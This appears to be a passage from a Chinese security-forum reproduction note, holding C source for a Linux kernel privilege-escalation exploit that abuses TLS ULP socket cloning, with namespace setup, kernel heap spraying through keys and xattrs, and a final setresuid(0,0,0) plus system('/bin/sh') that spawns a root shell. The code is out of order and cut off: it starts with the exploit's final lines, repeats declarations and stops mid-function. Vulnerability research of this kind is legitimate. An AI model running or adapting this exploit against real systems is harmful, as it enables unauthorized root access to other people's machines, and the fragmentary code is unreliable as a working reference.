memset
(p+0x200, 0xc3, 2);
//===========================================================================================================================
int
end_pfd = pagealloc_pad(33, 0x1000);
printf
(
"end_pfd == %d\n"
, end_pfd);
setresuid(0, 0, 0);
system
(
"/bin/sh"
);
while
(1){
;
}
}
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdbool.h>
#include <sched.h>
#include <fcntl.h>
#include <string.h>
#include <byteswap.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <linux/tls.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <netinet/tcp.h>
#include <netinet/in.h>
#include "netlink_utils.h"
#define ADD_LINK RTM_NEWLINK
#define DEL_LINK RTM_DELLINK
#define FLUSH RTM_GETLINK
#define ADD_ADDR RTM_NEWADDR
#define DEL_ADDR RTM_DELADDR
#define ADD_QDISC RTM_NEWQDISC
#define DEL_QDISC RTM_DELQDISC
#define ADD_CLASS RTM_NEWTCLASS
#define DEL_CLASS RTM_DELTCLASS
#define N_NET_INTERFACES 0x1800
int
tls1, tls2, tls3, tls4;
int
net_if(
int
action,
char
*type,
int
n,
int
opt,
bool
change);
size_t
user_cs, user_ss, user_rflags, user_sp;
void
save_status()
{
asm
volatile
(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts
(
"\033[34m\033[1m[*] Status has been saved.\033[0m"
);
}
//CPU绑核
void
bindCore(
int
core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(),
sizeof
(cpu_set), &cpu_set);
printf
(
"\033[34m\033[1m[*] Process binded to core \033[0m%d\n"
, core);
}
int
setup_sandbox(
void
)
{
if
(unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET) < 0) {
perror
(
"unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET)"
);
return
-1;
}
net_if(ADD_LINK,
"lo"
, -1, IFF_UP,
true
);
char
edit[0x200];
int
tmp_fd = open(
"/proc/self/setgroups"
, O_WRONLY);
write(tmp_fd,
"deny"
,
strlen
(
"deny"
));
close(tmp_fd);
tmp_fd = open(
"/proc/self/uid_map"
, O_WRONLY);
snprintf(edit,
sizeof
(edit),
"0 %d 1"
, getuid());
write(tmp_fd, edit,
strlen
(edit));
close(tmp_fd);
tmp_fd = open(
"/proc/self/gid_map"
, O_WRONLY);
snprintf(edit,
sizeof
(edit),
"0 %d 1"
, getgid());
write(tmp_fd, edit,
strlen
(edit));
close(tmp_fd);
return
0;
}
int
net_if(
int
action,
char
*type,
int
n,
int
opt,
bool
change) {
struct
nlmsghdr *msg;
struct
nlattr *opts;
struct
ifinfomsg ifinfo = {};
struct
ifaddrmsg ifaddr = {};
char
name[0x100] = { 0 };
int
sk;
strcpy
(name, type);
if
(n >= 0)
snprintf(name,
sizeof
(name),
"%s-%d"
, type, n);
// Initalize a netlink socket and allocate a nlmsghdr
sk = nl_init_request(action, &msg, NLM_F_REQUEST|NLM_F_CREATE);
if
(!sk) {
perror
(
"nl_init_request()"
);
return
-1;
}
switch
(action) {
case
ADD_LINK:
case
DEL_LINK:
ifinfo.ifi_family = AF_UNSPEC;
ifinfo.ifi_type = PF_NETROM;
ifinfo.ifi_index = (action == DEL_LINK) ? if_nametoindex(name) : 0;
ifinfo.ifi_flags = opt;
ifinfo.ifi_change = change ? 1 : 0;
nlmsg_append(msg, &ifinfo,
sizeof
(ifinfo), NLMSG_ALIGNTO);
if
(action == ADD_LINK) {
// Setting the MTU below IPV6_MIN_MTU, ipv6 is disabled
// (https://elixir.bootlin.com/linux/v6.1/source/net/ipv6/addrconf.c#L3537)
// This way we can get rid of an annoying timer that periodically calls qdisc->enqueue()
nla_put_u32(msg, IFLA_MTU, 1000);
nla_put_string(msg, IFLA_IFNAME, name);
opts = nla_nest_start(msg, IFLA_LINKINFO);
nla_put_string(msg, IFLA_INFO_KIND, type);
nla_nest_end(msg, opts);
}
break
;
case
ADD_ADDR:
case
DEL_ADDR:
ifaddr.ifa_family = AF_INET;
ifaddr.ifa_prefixlen = 16;
ifaddr.ifa_flags = 0;
ifaddr.ifa_scope = RT_SCOPE_UNIVERSE;
ifaddr.ifa_index = if_nametoindex(name);
nlmsg_append(msg, &ifaddr,
sizeof
(ifaddr), NLMSG_ALIGNTO);
nla_put_u32(msg, IFA_LOCAL, __bswap_32(opt + n));
nla_put_u32(msg, IFA_ADDRESS, __bswap_32(opt + n));
break
;
}
// Send the netlink message and deallocate resources
return
nl_complete_request(sk, msg);
}
int
tls1, tls2;
int
set_ulp(
int
port){
struct
sockaddr_in addr;
socklen_t len =
sizeof
(addr);
int
tls, s, s2;
tls = socket(AF_INET, SOCK_STREAM, 0);
s = socket(AF_INET, SOCK_STREAM, 0);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = INADDR_ANY;
addr.sin_port = htons(port);
// Put the socket into ESTABLISHED state
if
(bind(s, &addr,
sizeof
(addr)) < 0){
perror
(
"bind"
);
exit
(-1);
}
if
(listen(s, 0) < 0){
perror
(
"listen"
);
exit
(-1);
}
if
(connect(tls, &addr,
sizeof
(addr)) < 0){
perror
(
"connect"
);
exit
(-1);
}
// Initialize TLS ULP
if
(setsockopt(tls, SOL_TCP, TCP_ULP,
"tls"
,
sizeof
(
"tls"
)) < 0){
perror
(
"set ulp"
);
}
return
tls;
}
int
clone_tls(
int
tls,
int
port){
struct
sockaddr_in addr;
socklen_t len =
sizeof
(addr);
int
s,
new
;
s = socket(AF_INET, SOCK_STREAM, 0);
// Disconnect the input socket `sk`
addr.sin_family = AF_UNSPEC;
addr.sin_addr.s_addr = INADDR_ANY;
addr.sin_port = htons(port);
connect(tls, &addr,
sizeof
(addr));
//为什么要先连接一下才能bind?
// Listen on `sk` (This should not happen!)
addr.sin_family = AF_INET;
if
(bind(tls, &addr,
sizeof
(addr)) < 0){
perror
(
"bind2"
);
exit
(-1);
}
if
(listen(tls, 0) < 0){
perror
(
"listen2"
);
exit
(-1);
}
if
(connect(s, &addr,
sizeof
(addr)) < 0 ){
perror
(
"connect2"
);
exit
(-1);
}
// Clone icsk_ulp_data
new
= accept(tls, &addr, &len);
// Now the input socket `sk` and `new`
// share the same icsk_ulp_data pointer
return
new
;
}
#include "key.h"
#define TOTAL_KEYS 60
int
kids[TOTAL_KEYS];
void
spray_key(
int
times,
int
len){
char
des[0x100];
memset
(des, 0,
sizeof
(des));
char
pay[0x200];
memset
(pay, 0,
sizeof
(pay));
for
(
int
i = 0; i < TOTAL_KEYS && i < times; i++){
memset
(des,
'A'
+i, 0x80);
memset
(pay,
'a'
+i, len);
kids[i] = key_alloc(des, pay, len);
printf
(
"kid_%d == %d\n"
, i, kids[i]);
}
}
#include <sys/types.h>
#include <sys/xattr.h>
void
spray_attr(
int
times,
int
size){
const
char
*path =
"/path/to/file"
;
const
char
*name =
"user.attribute"
;
const
char
*value =
"value"
;
int
flags = 0;
// 可以是 XATTR_CREATE 或 XATTR_REPLACE
for
(
int
i = 0; i < times; i++){
setxattr(path, name, value, size, flags);
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
赞赏
- [原创]CVE-2023-2008复现笔记 4548
- [原创]CVE-2023-0461复现笔记 4201
- [原创]CVE-2023-4208复现笔记 4293
- [原创]CVE-2023-4207复现笔记 4815